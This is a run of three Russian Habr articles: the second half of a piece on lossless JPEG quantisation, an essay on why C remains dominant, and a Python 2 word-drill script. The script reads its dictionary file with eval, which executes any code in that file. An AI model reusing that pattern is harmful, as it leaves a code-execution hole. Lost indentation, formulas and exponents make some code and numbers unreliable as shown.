По стандарту, кодер не занимается преобразованием цветовых пространств. Ему на вход подается изображение, уже разделенное на каналы. Для заданных каналов кодер выполнят [субдискретизацию](https://ru.wikipedia.org/wiki/%D0%A6%D0%B2%D0%B5%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D1%81%D1%83%D0%B1%D0%B4%D0%B8%D1%81%D0%BA%D1%80%D0%B5%D1%82%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F). Это означает, что вместо хранения цвета каждого пикселя небольшой группы (размером 2x2, 2x2, 4x2 и т.п.) будет храниться только одно — среднее этой группы. На практике почти всегда используется пространство YCbCr с последующей субдискретизацией. Почему? Хорошо, что я не в школе, и могу просто скопировать из Википедии:
> Перевод в систему Y’CbCr позволяет передать информацию о яркости с полным разрешением, а для цветоразностных компонент произвести субдискретизацию, то есть выборку с уменьшением числа передаваемых элементов изображения, так как человеческий глаз менее чувствителен к перепадам цвета.
>
>
Так как при субдискретизации исходные значения теряются безвозвратно, то нам придется отказаться от ее.
Преобразование цветового пространства полностью обратимо пока мы храним дробные числа. Потери происходят из-за округления с которым еще можно поработать. Например, не округлять, а сохранять несколько двоичных цифр после запятой.
Пространства RGB и YCbCr выглядят так относительно друг друга:
Все цветовые каналы (R, G, B, Y, Cb, Cr) в неэкзотических вариациях JPEG являются 8-битными. Количество возможных цветов совпадает в обоих пространствах (2^24). Но если у большинства комбинаций (Y, Cb, Cr) нет соответствующей (R, G, B)-пары, значит у кого-то их две :( И даже больше. Однозначное восстановление с такими исходными данными невозможно.
Итак, перевод (R, G, B) в (Y, Cb, Cr):
В матричном виде:
Матричное представление будет использоваться и дальше, поэтому для понимания статьи желательно знать о матричном произведении, обратной матрице и т. п.
DCT
---
Каждый блок 8x8 каждого канала (обычно это Y, Cb, Cr) изображения подвергается двумерному [дискретному косинусному преобразованию 2-го типа](https://en.wikipedia.org/wiki/Discrete_cosine_transform#DCT-II). Почему используется именно DCT я подробно описывал [здесь](https://habr.com/ru/post/206264/). Рассмотрим, что оно означает.
Каждый блок может быть представлен в виде матрицы:
Сначала для каждого столбца независимо от других выполняется преобразование :
По следующей формуле, в которой  — индекс столбца:
Такая формула может быть переписана в матричной форме: . Где  и  — вектор-столбцы, а значения матрицы  аккуратно рассчитаны по вышеприведенной формуле:
Преобразование  описывает переход новому базису. Каждая строка  задает координаты базисного вектора. Вот они:
Одна из фичей этой матрицы — ортогональность. Это означает, что все базисные вектора ортогональны друг другу и их длины равны 1. То есть, такое преобразование описывает поворот плюс, возможно, зеркальное отражение. Это сохраняет евклидову норму векторов (то есть их длины, которые мы вычисляем по теореме Пифагора).
Вместо одного вектор-столбца в  можно подставить сразу все столбцы, и тогда получим: .
Далее нужно выполнить такое же преобразование , но уже для строк. Нам известно как это провернуть для столбцов, поэтому транспонируем , преобразуем, а затем транспонируем еще раз: .
Сейчас провернем такой трюк. Получившуюся матрицу  векторизуем, то есть последовательно выпишем все столбцы в один. И затем применим формулу , где  — [произведение Кронекера](https://en.wikipedia.org/wiki/Kronecker_product):
Матрица  имеет размер 64 на 64. Каждая ее строка представляет 64 комбинации произведений попарных значений двух «волн» из предущей картинки. И если их выписать в виде матрицы 8x8, то получится двухмерная волна. Разные строки дадут разные частоты по x и y. Вот они все на рисунке.
Описанное преобразование можно представить как нахождение корреляции блока изображения с каждой из этих волн.
Одно из свойств произведения Кронекера — если  и  ортогональные матрицы, то  тоже является ортогональной. Формулу обратного преобразования можно получить умножив обе части на транспонированную матрицу: . Так как для ортогональных матриц справедливо, что , то получаем: .
Почему происходят потери?
-------------------------
Меня давно преследует идея создания максимально гибкого JPEG-кодека, позволяющего пользователю задавать свои таблицы Хаффмана и квантования. Во-первых, потому, что это офигенно, вот почему. Во-вторых, такой кодек сможет имитировать другие кодеки (и фотоаппаратов тоже), но это отдельная тема. В-третьих, особенно если выйти за пределы стандарта, это полезно для исследований. В частности, можно предусмотреть изменение фиксированного размера блоков 8 на 8. Можно сделать даже 2 на 1. Это бесполезно с практической точки зрения, но зато каждый такой блок из двух пикселей (одного канала) можно наглядно представить в виде вектора координатной плоскости и наглядно увидеть преобразования этого вектора.
DCT для такого простого случая будет выглядеть так:
Представим, что первый пиксель имеет цвет 3, а второй — 2. После преобразования получим (3.536, 0.707). Наименьший шаг квантования в JPEG равен 1, то есть это просто округление: (4, 1). После восстановления: (3.536, 2.121), значит первый пиксель — 4, второй — 2.
Если бы мы квантовали с большим шагом чем 1, то расхождение могло оказаться еще значительнее. Относительно недавно я [рассматривал](https://habr.com/ru/post/473544/), что происходит при различных шагах квантования. Но тогда все они были целыми, не меньше единицы, а сейчас наоборот, будем уменьшать.
Глядя на координатную сетку на рисунке выше, можно сделать грубую прикидку. Квантованная точка не должна отдалятся более чем на 0.5 от исходной. Но если исходная точка оказывается в центре ячейки сетки пространства , квантованная отдаляется на половину диагонали квадрата (0.707). Значит, если квантовать с более мелким шагом не превышающим 0.5/0.707 = 0.707, то потерь удастся избежать. На следующем рисунке показан шаг 0.65 (при 0.707 узлы сеток совпадают и получается не наглядно) для нескольких исходных точек.
Упрощенный код примитивного кодека:
```
step = 0.65
C = sqrt(2) / 2
def write(x0, x1):
y0 = C * (x0 + x1)
y1 = C * (x0 - x1)
save_to_file(round(y0 / step))
save_to_file(round(y1 / step))
def read():
y0 = load_from_file() * step
y1 = load_from_file() * step
x0 = round(C * (y0 + y1))
x1 = round(C * (y0 - y1))
return x0, x1
x = (3, 2)
write(*x)
xx = read()
assert xx == x
```
Разумеется, уменьшение шага не дается бесплатно. Чем он меньше, тем больше множество значений, которые нужно хранить. Уменьшение в два раза эквивалентно увеличению на один бит.
В настоящем JPEG используется 64-мерное пространство, поэтому половина диагонали 64-мерного гиперкуба равна . Получается, что нужно сделать шаг квантования 0.125, то есть хранить 3 бита после запятой. Но это не доказательство, конечно, а просто прикидка.
Оказалось, что это верная оценка для произвольного 64-мерного ортогонального преобразования. Но для DCT максимальный шаг квантования немного больше.
Максимальный шаг квантования
----------------------------
Итак, пусть  — исходный вектор с целыми значениями,  — матрица преобразования (RGB в YCbCr или DCT),  — функция квантования,  — округления. После квантования получаем вектор . Для DCT именно эти значения сохраняются в файле. При восстановлении исходных значений  выполняем обратное преобразование: .
Наша задача — научиться восстанавливать без потерь, то есть сделать справедливым равенство  для любого вектора X. Единственное «неизвестное» в этом уравнении — функция квантования. Очевидно, что можно не квантовать (то есть задать ) и тогда, учитывая , уравнение схлопнется до , а значения X и так целые. Формально, это решение, но оно, очевидно, не подходит.
Что вообще следует из записи ? То, что ни один элемент вектора  не отличается от соответствующего элемента  более чем на 0.5. Или эквивалентно: максимальная абсолютная разность элементов  и  не больше 0.5:
Хмм, да это же ~~кисулькен~~ норма (ну или расстояние) Чебышева.
Кстати, в чем различие между нормой и расстоянием?Расстояние — более широкое понятие. Если у нас задана норма, то через нее мы можем определить расстояние: , но обратное не всегда верно. Так, если задать такое расстояние (называемое дискретным)  и  для , то для любой из норм нарушается свойство однородности . Действительно, для  получаем: . Но для всех популярных расстояний определена и норма.
Получается, что из  следует . Умножим выражение под нормой на  (мы можем так поступить потому что это равносильно умножению на единичную матрицу, то есть результат не меняется):
Обозначим . Вектор  представляет отклонение при квантовании в преобразованном базисе. Итак, наше неравенство приобретает следующий вид:
Это должно выполняться для любого . А каким он может быть? Очевидно, разность между квантованным и исходным значением не превышает половины шага квантования. Так, если шаг квантования равен s, то . В наших интересах найти наибольший шаг, удовлетворяющий . На следующем рисунке показан максимальный допустимый шаг.
Уменьшать шаг неэффективно. Но увеличение, даже совсем чуть-чуть, может привести к нарушению нашего основного неравенства.
Здесь мы можем выполнить следующую грубую прикидку для ортогонального преобразования. Евклидова норма вектора не меньше нормы Чебышева. Поэтому, если справедливо , то будет верно и . А так как ортогональное преобразование сохраняет евклидову норму, то . На рисунке видно, что при таком подходе шаг квантования уменьшился из-за того, что мы избавились от заданного базиса и перешли к произвольному ортогональному.
Воспользуемся обеими нормами:
Отсюда максимальный шаг равный . Для  получим 0.125, как и предполагали в начале статьи.
Можно точнее? Да. Возвращаемся к  и запишем его так:
Чтобы максимизировать сумму, нужно максимизировать каждое слагаемое. Для этого нужно в качестве  подставить  с тем же знаком, что и у  (не тот знак приведет к вычитанию). Или же подставить плюс  и взять  по модулю:
Считаем:
```
import numpy as np
from scipy.fftpack import dct
def max_step(D):
return 1 / np.max(np.sum(np.abs(D), axis=1))
YCbCr2RGB = [[1, 0, 1.402], [1,-0.344136,-0.714136], [1,1.772,0]]
# Генерируем матрицу для одномерного DCT
# Вместо X в формуле dct(X) = DX подставляем единичную матрицу
# И получаем D = dct(I)
D_8 = dct(np.identity(8), norm='ortho', axis=0)
# Оператор Кронекера
D_8x8 = np.kron(D_8, D_8)
# Для DCT обратная матрица равна транспонированной
ID_8x8 = D_8x8.T
print('YCbCr2RGB:', max_step(YCbCr2RGB)) # 0.36075
print('IDCT:', max_step(ID_8x8)) # 0.14328
```
C YCbCr понятно, 1 / (1 + 1.772) = 0.36075. Теперь давайте вычислять 0.14328 для DCT. Заметим, что строки матрицы  — это столбцы . Если представить индекс столбца  в виде :
Тогда, например, для нулевого столбца:
Это выражение можно упростить с помощью тождества Лагранжа:
Подставляем и немного упрощаем. Итого: . В принципе, котангенс тоже можно вычислить точно, но с кучей радикалов.
Максимальный шаг: . Такое же значение получается и для других столбцов матрицы.
Проверяем 0.36075
-----------------
Выполнить проверку максимального отклонения при преобразовании цветовых пространств можно просто путем перебора всех значений (R, G, B):
```
M = np.array([[ 0.299, 0.587, 0.114 ],
[-0.168736, -0.331264, 0.5 ],
[ 0.5, -0.418688, -0.081312]])
IM = np.array([[1, 0, 1.402 ],
[1, -0.344136, -0.714136],
[1, 1.772, 0 ]])
def quant(x, step):
return np.round(x / step) * step
def ycbcr_d_inv(x, step):
y = np.dot(IM, quant(np.dot(M, x), step))
return np.max(np.abs(y-x))
step = 0.36075
max_d = 0
for r in np.arange(0,256):
for g in np.arange(0,256):
for b in np.arange(0,256):
d = ycbcr_d_inv([r,g,b], step)
if d > max_d:
max_d = d
print(max_d) # 0.499517
```
Действительно, выбранный шаг почти идеален. Наибольшее отклонение очень близко к 0.5, но не превысило его, поэтому при округлении мы восстановим исходные значения.
Проверяем 0.14328
-----------------
Представьте квадратный город километр на километр. У него есть центральный район размером пол- на полкилометра, и окраина, площадь которой равна половине площади всего города — 0.5 кв. км. Эти районы двухмерного города изображены на рисунке.
Площадь центра равна 0.25, а ширина окраины — примерно 0.146. Но что если город представляет собой гиперкуб? Тогда его объем — 1 км^N, а остальные значения для некоторых размерностей в таблице:
```
N Объем центра (км^N) Ширина окраины (метров)
1 0.5 250
2 0.25 146
3 0.125 103
4 0.0625 80
8 0.0039 41
16 1.5e-05 21
32 2.3e-10 11
64 5.4e-20 5
```
В 64-мерном городе центр стал занимать невообразимо маленькую часть всего города, несмотря на его большой линейный размер. А половина горожан живет в тонкой 5-метровой оболочке на окраине.
Но окраина очень неоднородна. Где-то до центра всего 500 метров, но в среднем подальше. Дальше всего до одного из 264 углов. По прямой из центра не очень далеко — 4 километра. Но если застройка (гипер-)прямоугольная и передвигаться можно только по улицам параллельным осям, то придется преодолеть 32 километра. Но окрестности углов занимают мизерную долю. Даже если предположить, что их размер 333 метра, то в двухмерном городе они займут 4/9 площади, а 64-мерном всего .
Эти контринтуитивные размышления — частные случаи проявления [проклятия размерности](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%BA%D0%BB%D1%8F%D1%82%D0%B8%D0%B5_%D1%80%D0%B0%D0%B7%D0%BC%D0%B5%D1%80%D0%BD%D0%BE%D1%81%D1%82%D0%B8). Для нас они интересны тем, мы хотим найти наибольшее отклонение при квантовании, а для этого нужно чтобы узел сетки квантования оказался недалеко от одного их углов гиперкуба. Наверно это можно сделать аналитически, но тут мои полномочия всё. Мы можем перебирать различные векторы и надеяться на удачу, которой не будет. Потому что вектор отклонения будет вести себя примерно как случайно распределенная величина. Посмотрим сначала на распределения расстояний от случайной точки до центра куба для разных размерностей (в логарифмическом масштабе):
```
def get_data(n):
data = []
for _ in np.arange(0, 1000000):
x = np.random.uniform(-0.5, 0.5, size=(n))
data.append(np.linalg.norm(x))
return data
```
Теперь перейдем к распределению отклонений DCT. Здесь считается расстояние Чебышева, для «наклоненного» гиперкуба, поэтому распределение немного другое. Это можно можно приблизительно проиллюстрировать на плоскости:
```
def quant(x, step):
return np.round(x / step) * step
def dct2d_d_inf(x, step):
y = np.dot(ID_8x8, quant(np.dot(D_8x8, x), step))
return np.max(np.abs(x-y))
step = 0.14328
data = []
for _ in np.arange(0, 1000000):
# В Jpeg из Y, Cb, Cr вычитается 128
x = np.random.randint(256, size=(64)) - 128
data.append(dct2d_d_inf(x, step))
plt.clf()
plt.xlim(0, 0.5)
plt.hist(data, 30, log=True)
plt.show()
```
Наибольшее значение, которое я смог найти — 0.318618 для вектора [79192, 0, 0, ..., 0]. Но исходными значениями для DCT в Jpeg являются Y, Cb, Cr уменьшенные на 128, то есть от -128 до 127. И для них все перебранные отклонения оказались меньше 0.25.
Выводы
------
Наш проект «JPEG без потерь» потребует серьезных жертв:
* Не использовать субдискретизацию.
* Квантовать значения Y, Cb, Cr с шагом 0.36075. Это плюс 2 бита.
* Квантовать коэффициенты DCT с шагом 0.14328. Плюс еще 3 бита.
Итого к исходным 8 битам добавляется еще 5, итого 13. Любопытно, что стандарт помимо обычного 8-битного JPEG , также описывает и 12-битный. Раз уж мы зашли так далеко, то интересна сама принципиальная возможность использовать его для нашей цели. Но нужно где-то сэкономить 1 бит. Способы такие:
* Самый разумный — кодировать сразу в RGB, так как без субдискретизации и таким квантованием оно бессмысленно.
* Не округлять Y, Cb, Cr, тогда шаг квантования составит 0.36075 \* 0.14328 = 0,05169. Это  бита. Ну, почти «запихнули».
* Надеяться никогда не встретить отклонение превышающее 0.5 при квантовании DCT-коэффициентов с шагом 0.25.
Поддержка 12-битного JPEG встречается крайне редко. Я нашел только libjpeg и один платный конвертер (в бесплатной версии ставит вотермарку — для тестов пойдет).
Разумеется, все эти выводы неприменимы на практике. Даже обычный JPEG с максимально высоким качеством почти не используется, так как теряются основные фичи алгоритма, что приводит к слишком большому размеру файлов. А для 12 битов размер увеличивается в 1.5 — 3 раза и уже проигрывает png. Впрочем, эти выводы могут быть полезны при разработке алгоритма сжатия без потерь, основанные на DCT.
Напоследок, краткие правила для минимизации потерь:
1. Не используйте JPEG.
2. Если используете — сохраняйте в нем только окончательный вариант, не пересохраняйте.
3. Если пересохраняете — выбирайте то же самое качество сжатия, не уменьшая и не увеличивая.
4. Если пересохраняете и изменяете качество сжатия — не изменяйте размер изображения.
5. Если пересохраняете и изменяете размер — не удивляйтесь. | https://habr.com/ru/post/704750/ | null | ru | null |
# Миром всё ещё управляет язык С
Многие из проектов на языке С, существующих сегодня, начинали разрабатываться ещё десятилетия назад. Операционная система UNIX стартовала 1969 году (и писалась на ассемблере), но уже в 1972 была переписана на С. Точнее, это язык С был создан для того, чтобы появилось что-то, на что было бы удобно переписать с ассемблера ядро UNIX и получить чуть более высокоуровневый код, менее зависимый от архитектуры и позволяющий выполнять больше полезной работы на каждую строчку написанного кода.
Разработка базы данных Oracle началась в 1977 году (тоже на ассемблере) и тоже была переписана на С в 1983 году. К тому времени это был уже один из самых популярных языков в мире.
В 1985 году вышла Windows 1.0. Хотя код операционной системы Windows не является открытым, общеизвестно, что ядро в основном написано на С с небольшими вставками ассемблера. Разработка Linux началась в 1991 году и началась сразу на С. В следующем году она была опубликована под лицензией GPL и использована как часть GNU Operating System, которая и сама начиналась как проект на С и Lisp, так что многие компоненты были написаны на С.
Но проекты на С — это не только то, что стартовало десятилетия назад, когда выбор языков, скажем прямо, был достаточно ограничен. Много С-кода пишется и сейчас, на нём начинаются и новые проекты. Для этого есть причины.
### Как именно язык С управляет миром?
Не смотря на современную тенденцию к использованию высокоуровневых языков, фундамент мира ИТ всё ещё держится на языке С. Вот лишь некоторые из систем, написанных на С и ежедневно используемых миллионами людей.
#### Microsoft Windows
Как уже говорилось выше, ядро Windows — это в основном код на С. Можно по-разному относится к этой операционной системе, но уже несколько десятилетий она занимает наибольшую долю рынка десктопных ОС.
#### Linux
Linux тоже написано большей частью на С. 97% всех суперкомпьютеров мира работают на Linux. Неоспорима его большая доля на рынке серверов, а кто-то использует его и на десктопе.
#### Mac
Вы не поверите, но и третья «большая» ОС в нашем списке тоже написана на С (по крайней мере её ядро).
#### Драйвера
Когда мы говорим о драйвере устройства, не важно под какую операционную систему, в абсолютном большинстве случаев мы говорим о коде на С.
#### Мобильные ОС
Ядра iOS, Android и Windows Phone тоже написаны на С. По сути они являются мобильными адаптациями уже существовавших ранее ядер Mac OS, Linux и Windows. Так что прямо сейчас в вашем кармане работает С-код.
#### Базы данных
Все наиболее популярные базы данных в мире (Oracle Database, MySQL, MS SQL Server, PostgreSQL) написаны на С (некоторые — на комбинации С/С++). Базы данных используются во всех типах систем: финансы, медиа, телеком, здравоохранение, образование, продажи, веб и т.д. Если вы не живёте на необитаемом острове — вы сталкиваетесь с системами на базах данных (и, как следствие, с работой кода на С) ежедневно.
#### Графика, видео, спецэффекты
Современный кинематограф создаётся в основном специальным ПО, предназначенным для этого. Высоконагруженные системы, от которых требуется обрабатывать огромные массивы видеоданных, часто пишутся на С и С++. Чем эффективнее будет код — тем быстрее будет получен результат, тем больше возможностей откроется перед художниками и аниматорами по доводке деталей будущего киношедевра. И тем больше денег сэкономит кинопроизводитель.
#### Embedded-разработка
Просто вспомните свой обычный день. Вы просыпаетесь от будильника (который, возможно, управляется микроконтроллером с кодом на С). Затем ваша микроволновка (тоже с микроконтроллером) разогревает ваш завтрак. Вы наливаете кофе из кофеварки (ну, вы уже поняли). За завтраком вы включаете телевизор или радио (снова embedded железо и код). Дальше вы открываете дверь гаража (с пульта). Очень большая часть кода во всех вышеперечисленных устройствах написана на С.
И вот вы добрались до своего автомобиля. В нём работают (и, скорее всего, написаны на С), следующие системы:
* управление автоматической коробкой передач
* система определения давления в шинах
* сенсоры
* сохранения положений сидушек и зеркал
* экран бортового компьютера
* сигнализация
* система электронной стабилизации
* круиз-контроль
* климат-контроль
* зажигание без ключа
* обогрев сидений
* подушки безопасности
… этот перечень может быть сильно расширен в зависимости от навороченности вашего авто.
Каждый день вы сталкиваетесь с банкоматами, кассовыми аппаратами, светофорами, системами контроля доступа, видеонаблюдением — везде микроконтроллеры, везде код на С.
### Почему люди всё ещё пишут на С?
Сегодня есть множество языков программирования и многие из них, скажем прямо, позволяют писать код быстрее и легче, чем на С. Высокоуровневые языки дают нам отличные инструменты для абстракций, богатые стандартные библиотеки, работу с разными форматами данных «из коробки», легкий доступ к сети и вебу, к базам данных и т.д.
Но, не смотря на всё вышеперечисленное, есть причины, по которым код на С всё ещё работает и будет работать ещё долго. В мире разработки ПО нет «серебрянной пули», нет одного языка, который закрыл бы все ниши. В некоторых сферах С всё ещё предпочтительный выбор, а в некоторых — вообще единственный возможный.
#### Комбинация портируемости и эффективности
С разрабатывался как «портируемый ассемблер». Он так близок к машинному коду, как только это возможно, но всё же он — не машинный код. Есть как минимум один компилятор С под вообще любую существующую в мире процессорную архитектуру (ну, если только вы не спаяли вчера собственный процессор где-нибудь в гараже). Более того, под основные архитектуры компиляторы С писались и оптимизировались уже несколько десятилетий. А это означает, что они просто бешено эффективные. У вас займёт очень много времени написать и оптимизировать ассемблерный код до того уровня, который улучшит результат, генерируемый по-умолчанию стандартным компилятором С.
Язык С также стал чем-то вроде универсального языка для общения программистов. Не знаешь, на каком языке выразить идею, чтобы незнакомый тебе разработчик на другом конце мира понял, что за алгоритм ты написал? Просто пиши на С. Alex Allain из команды Dropbox сказал так:
> С — это отличный язык для выражения общих идей в программировании способом, удобным для большинства людей. Многие из соглашений и принципов языка С были заимствованы другими языками, так что с помощью кода на С вам, вероятно, удастся объясниться даже с теми программистами, которые на С никогда и не писали
#### Прямой и быстрый доступ к памяти
Простой доступ к произвольным ячейкам памяти вместе с арифметикой указателей сделали язык С отличным выбором для системного программирования. На стыке аппаратного и программного обеспечения находятся адреса памяти, которые на самом деле являются портами ввода/вывода некоторых устройств. Драйвера и ядра ОС общаются через них с внешним миром. Возможность делать это легко и быстро — ключ к эффективности.
Микроконтроллер может быть спроектирован таким образом, например, что байт по адресу 0x40008000 будет отправлен UART к какому-то периферийному устройству, тогда, когда бит номер 4 в ячейке памяти по адресу 0x40008001 будет выставлен в 1.
Код на С для оправки байта для такого микроконтроллера будет выглядить вот так:
```
#define UART_BYTE *(char *)0x40008000
#define UART_SEND *(volatile char *)0x40008001 |= 0x08
void send_uart(char byte)
{
UART_BYTE = byte; // записываем отправляемое значение в ячейку 0x40008000
UART_SEND; // поднимаем бит номер 4 в ячейке 0x40008001
}
```
Обратите внимание на ключевое слово **volatile** — оно здесь необходимо, чтобы не дать компилятору оптимизировать, например, цикл, в котором ячейке памяти по данному адресу несколько раз подряд присвоится одно и то же значение (компилятор может решить сделать это лишь один раз, если ключевого слова volatile не будет).
#### Детерминированность использования ресурсов
Общеизвестным фактом является то, что системное программирование не может полагаться на языки со сборщиком мусора. Более того, в некоторых системах вообще запрещена динамическая аллокация памяти. Embedded-приложения должны использовать свои ресурсы очень экономно. Некоторые из них работают в операционных системах реального времени, где вызов сборщика мусора (с его неопределённо долгим временем работы) не допустим. А запрет на динамическое выделение памяти требует наличия удобных средств работы с выделенной заранее памятью — таких, как указатели С.
#### Размер кода
Рантайм С очень невелик. Бинарник, полученный после компиляции и линковки кода на С, будет меньше бинарников на многих других языках. Даже по сравнению с С++ размер часто бывает в 2 раза меньше. С++ вынужден поддерживать абстракции, вроде исключений, что не даётся бесплатно. Это, безусловно, неплохой в некоторых случаях инструмент, но он требует дополнительного кода.
Давайте посмотрим вот на такой код на С++:
```
// Объявление класса А. Реализация методов находится где-то в другом месте
class A
{
public:
A(); // Конструктор
~A(); // Деструктор (called when the object goes out of scope or is deleted)
void myMethod(); // Просто метод
};
// Объявление класса В. Реализация методов находится где-то в другом месте
class B
{
public:
B(); // Конструктор
~B(); // Деструктор
void myMethod(); // Просто метод
};
// Объявление класса С. Реализация методов находится где-то в другом месте
class C
{
public:
C(); // Конструктор
~C(); // Деструктор
void myMethod(); // Просто метод
};
void myFunction()
{
A a; // Вызван конструктор a.A()
{
B b; // Вызван конструктор b.B()
b.myMethod();
} // Вызван деструктор b.~B()
{
C c; // Вызван конструктор c.C()
c.myMethod();
} // Вызван деструктор c.~C()
a.myMethod();
} // Вызван деструктор a.~A()
```
Методы классов A, B и C объявлены где-то в других файлах. Таким образом, компилятор пока не может проанализировать их и понять, генерируют ли они исключения. То есть он должен быть готов к тому, что да, генерируют. И их нужно обрабатывать. Если возникнет исключение — нужно суметь отмотать стек и вызвать деструкторы всех созданных объектов. Это всё увеличивает объём сгенерированного кода. Мы получаем оверхед языка С++ по сравнению с С. Для многих приложений это не допустимо. И, хотя компиляторы С++ часто дают возможность отключить использование исключений, это тоже не даётся даром, поскольку код стандартной библиотеки С++ использует их для сообщений об ошибках. Придётся или жить без этой информации, либо переписывать части стандартной библиотеки.
И это мы ещё говорим о языке С++, чей принцип «Вы не платите за то, чем вы не пользуетесь». Для других языков оверхед как по размеру бинарников, так и по быстродействию будет ещё хуже. Язык С не даёт вам много крутых фич, но зато те, которые вы используете, будут работать ровно так, как это будет написано в вашем коде.
### Причины изучить С (если вы ещё этого не сделали)
Язык С не так сложно выучить, а вот польза от этого может быть существенная.
#### Общий язык
Как уже говорилось выше: если вы пишете на С — вас всегда поймут. Много реализаций алгоритмов в книгах или статьях приводятся впервые именно на языке С. Это даёт максимальную портируемость, максимальную простоту использования на любой платформе. Я видел, как программисты на некоторых высокоуровневых языках рыскали по интернету в поисках реализации какого-то алгоритма на их языке просто потому, что не понимали деталей его реализации на С.
Учитывайте также, что С — это старый и распространённый язык, так что если вы ищете какой-то алгоритм в интернете, то максимальный шанс у вас будет в случае, если вы ищете его С-реализацию.
#### Понимание того, как работает ваш компьютер
Когда мы с коллегами обсуждаем нюансы поведения некоторых частей кода и у нас случаются сложности в понимании происходящего, приходится спускаться на более низкие уровни и заканчивается это всё «говоря языком С, это работает вот так...» — и мы вспоминаем «указатели» (даже в языках, где их нет) и копирование «по ссылке или по значению» (опять таки, даже если язык по-умолчанию реализует лишь что-то одно) и так далее.
Мы редко доходим в детализации происходящего к ассемблерному коду, но вот на уровне языка С мы действительно думаем и разговариваем.
#### Возможность работать над интересными проектами
Множество действительно классных вещей написаны на С. Когда вы, ради собственного удовольствия или за деньги решите покопаться в движке базы данных или ядра ОС — вы будете делать это на С. Нет причин отказывать себе в удовольствии прикоснуться к чему-то столь фундаментальному из-за незнания этого языка программирования.
### Вывод
Миром управляют не масоны. Миром управляют программисты на С.
У языка С нет «срока годности». Он близок к железу, портируем и очень практичен в плане использования ресурсов. Вы можете найти себе проект по душе в куче интересных областей. Большая функциональность более современных языков не обязательно означает большую практическую пользу того кода, который будет на них написан.
Мир полон устройств, в которых работает код на С. Мы используем их каждый день. Язык С — это не только прошлое, настоящее, но и, насколько хватает взгляда, будущее во многих областях разработки ПО. | https://habr.com/ru/post/347776/ | null | ru | null |
# Простой скрипт на Python для заучивания английских слов или почему я не использую карточки
На хабре уже не раз поднималась тема изучения английского языка ([пруф](http://www.google.ru/#newwindow=1&q=site:habrahabr.ru+%D0%B0%D0%BD%D0%B3%D0%BB%D0%B8%D0%B9%D1%81%D0%BA%D0%B8%D0%B9+%D1%8F%D0%B7%D1%8B%D0%BA)). Она рассматривалась с разных ракурсов. Кто-то писал, что не зачем учить слова, при изучении иностранного. Кто-то делился способами, коих великое множество, от простых карточек, до целой тетради, исписанной по самое не хочу. В конце концов есть [LinguaLeo](http://lingualeo.ru), так же замечательный сервис, на котором без дополнительной платы можно учить по 10 слов в день. Хотя иногда платить не хочется, а 10 слов кажутся весьма небольшим количество для молодого организма, который познает таинства и прелести иностранной мовы. Тогда возможно этот скрипт вам будет полезен.
##### К чертям GUI!
Нет. Не вообще к чертям, а в данной задаче. Все что нам требуется это прочитать слово, написать его перевод и нажать клавишу Enter. Довольно простой механизм работы. Так зачем же напрягаться и насиловать ради этого tkinter?
##### JSON спешит нам на помощь
Тут конечно на любителя. Я использовал JSON. Кому-то по нраву XML. Структура данных будет довольно простая.
```
{
"catch, caught, caught":"ловить, хватать, успеть",
"fly, flew, flown":"летать, пролетать"
}
```
Сохраняем подобный «словарь» из двух слов в файл, который мы назовем для примера english.json, а что бы лишний раз не настраивать локаль сохраняем его в кодировке Windows 866 (уверен, что для Linux подойдет UTF-8).
##### Его сиятельство код
Перво-наперво импортируем модуль sys, и модуль random.
```
import sys
import random
```
Далее мы неожиданно для себя определяем классическую функцию main. По замыслу, она сразу же потребует словарь, который будет необходимо указать в параметрах при запуске скрипта.
```
def main():
try:
wordict = eval(open(sys.argv[1]).read()) # открываем словарь
except:
print "You have to enter all parameters.\nExample: python wordrepeater.py yourdictionary.json" #вроде бы достаточно информативно?
raw_input("")
```
Теперь у нас есть словарь wordict. Дальше нужно сделать два режима прохода по словарю. Первый — скрипт выдает нам английское слово, а мы в ответ один из его переводов. Второй проход прямо противоположный — скрипт нам русское слово, а мы ему английское. Здесь на помощь приходит конструктор словарей.
```
mode = raw_input("Choose mode:\n\t1:Word To Translation;\n\t2:Translation To Word.\n>> ");
if mode == "2": wordict = {wordict[k]:k for k in wordict.keys()} #здесь не хитрым образом ключи словаря меняются местами с их значениями.
```
После проделанных манипуляций остается несколько строчек, которые и будут осуществлять прогон по всему словарю. Можно их описать внутри функции main, хотя я предпочел описать еще одну функцию.
```
def keysToValues(dic): # функции потребуется словарь для работы
wrong = 0 # фиксируем количество ошибок
keys = dic.keys() # извлекаем список со всеми ключами нашего словаря.
while True:
tmpkey = random.choice(keys) # извлекаем случайное слово из словаря
print "{0}: {1}".format(len(keys), tmpkey) # выводим слово на экран. Вместе с ним выводится счетчик оставшихся слов
value = dic[tmpkey] # запоминаем все значения этого слова
if raw_input("Translation: ") in value.split(", "): # пишем наш "правильный" ответ, который сразу же сравнивается с любым из значений
print "True. {0}\n".format(value)
keys.remove(tmpkey) # ура! правильно! слово удаляется из списка.
else:
wrong += 1
print "Wrong! {0}\n".format(value) # упс... на одну ошибку больше.
if len(keys) < 1: # все слова угаданы. В нашем спуске нет ни одного слова.
raw_input("\n\nNothing\nWrong - {0}".format(wrong)) # здесь будет написано количество ошибок
sys.exit() # после нажатия Enter, все закончится
```
Все что осталось сделать — это запустить эту функцию в main, а после запустить main.
```
keysToValues(wordict)
if __name__ == "__main__":
main()
```
При наличии свободного времени и этого скрипта, получается выучить до 50 (больше я не пробовал) английских слов за вечер. Самое утомительное это заполнять словарь. Но я уверен, что это не утомительней составления карточек.
Итоговый результат.
**Для большего удобства весь код в одном месте.**
```
import sys
import random
def keysToValues(dic):
wrong = 0
right = 0
keys = dic.keys()
while True:
tmpkey = random.choice(keys)
print "{0}: {1}".format(len(keys), tmpkey)
#print str(len(keys))+":", tmpkey
value = dic[tmpkey]
#answ = raw_input("Translation: ")
if raw_input("Translation: ") in value.split(", "):
print "True. {0}\n".format(value) #fjf
right += 1
keys.remove(tmpkey)
else:
wrong += 1
print "Wrong! {0}\n".format(value)
if len(keys) < 1:
raw_input("\n\nNothing\nRight - {0}. Wrong - {1}".format(right, wrong))
sys.exit()
def main():
try:
wordict = eval(open(sys.argv[1]).read())
except:
print "You have to enter all parameters.\nExample: python wordrepeater.py yourdictionary.json"
raw_input("")
mode = raw_input("Choose mode:\n\t1:Word To Translation;\n\t2:Translation To Word.\n>> ");
if mode == "2": wordict = {wordict[k]:k for k in wordict.keys()}
elif mode == "":
print "Exit"
sys.exit()
keysToValues(wordict)
